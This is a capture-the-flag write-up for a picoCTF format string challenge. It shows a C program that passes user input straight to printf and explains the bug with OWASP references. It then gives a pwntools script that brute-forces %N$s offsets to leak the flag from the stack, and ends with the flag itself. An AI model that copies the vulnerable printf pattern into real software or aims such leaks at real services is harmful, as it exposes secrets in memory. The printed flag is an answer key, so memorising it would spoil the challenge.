Description

Story telling class 1/2
I’m just copying and pasting with this program. What can go wrong? You can view source here. And connect with it using:
nc saturn.picoctf.net PORT

Vulnerable code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64

void readflag(char* buf, size_t len) {
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,len,f); // size bound read
}

void vuln(){
   char flag[BUFSIZE];
   char story[128];

   readflag(flag, FLAGSIZE);

   printf("Tell me a story and then I'll tell you one >> ");
   scanf("%127s", story); 
   printf("Here's a story - \n");
   printf(story); // Will print whatever we want, NOT GOOD!!
   printf("\n");
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  return 0;
}

What is a format string vulnerability?

OWASP - Format string attack
Exploiting format string - Stanford
LiveOverflow - Format String Exploit bin 0x13

In short the format string vulnerability lets us print and write information from the stack.

OWASP extract:

Below are some format parameters which can be used and their consequences:

Example:

1
2
3
4
5
6
7
8
9
#include  <stdio.h> 
void main(int argc, char **argv)
{
	// This line is safe
    printf("%s\n", argv[1]);

	// This line is vulnerable
	printf(argv[1]);
}

Solution

In the vulnerable code, the flag is placed on the stack just under the input buffer:

1
2
3
void vuln(){
   char flag[BUFSIZE];
   char story[128];

We can send %1$s to the program to view the first parameter on the stack. We will use this to brute force the location of the flag and print it.

Exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

host, port = "saturn.picoctf.net", 55904

# Create remote or local process based on CLI
def new_process():
    if args.LOCAL:
        return process("./vuln")
    else:
        return remote(host, port)


# Brute force location of flag on the stack
with context.quiet:
    for i in range(30):
        p = new_process()
        p.recvuntil(b">>")
        p.sendline("%" + str(i) + "$s")
        p.recvuntil("\n")
        out = p.recvall()
        try:
            flag = out.decode()
        except UnicodeDecodeError:
            pass
        if "CTF{" in flag:
            print(f"pico{flag}")

Flag

picoCTF{L34k1ng_Fl4g_0ff_St4ck_6aea3c7c}